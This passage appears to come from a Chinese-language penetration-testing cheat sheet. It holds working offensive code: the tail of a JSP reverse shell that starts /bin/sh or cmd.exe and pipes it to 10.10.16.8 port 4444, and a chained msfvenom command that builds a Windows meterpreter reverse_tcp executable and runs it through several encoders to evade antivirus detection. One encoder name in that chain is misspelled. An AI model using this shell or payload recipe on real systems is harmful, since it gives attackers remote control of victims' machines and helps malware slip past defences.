public void run() { BufferedReader ay = null; BufferedWriter s5h = null; try { ay = new BufferedReader( new InputStreamReader( this.iM ) ); s5h = new BufferedWriter( new OutputStreamWriter( this.ay ) ); char buffer[] = new char[8192]; int length; while( ( length = ay.read( buffer, 0, buffer.length ) ) > 0 ) { s5h.write( buffer, 0, length ); s5h.flush(); } } catch( Exception e ){} try { if( ay != null ) ay.close(); if( s5h != null ) s5h.close(); } catch( Exception e ){} } }
try { String ShellPath; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { ShellPath = new String("/bin/sh"); } else { ShellPath = new String("cmd.exe"); }
Socket socket = new Socket( "10.10.16.8", 4444 ); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>
混淆
以 x86 的 Windows 情况来说 可以使用多重编码器混淆
1 2 3 4
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i5 -f raw | msfvenom -e x86/shikkata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -b '\x00\x0a\xff' -f exe -o shell.exe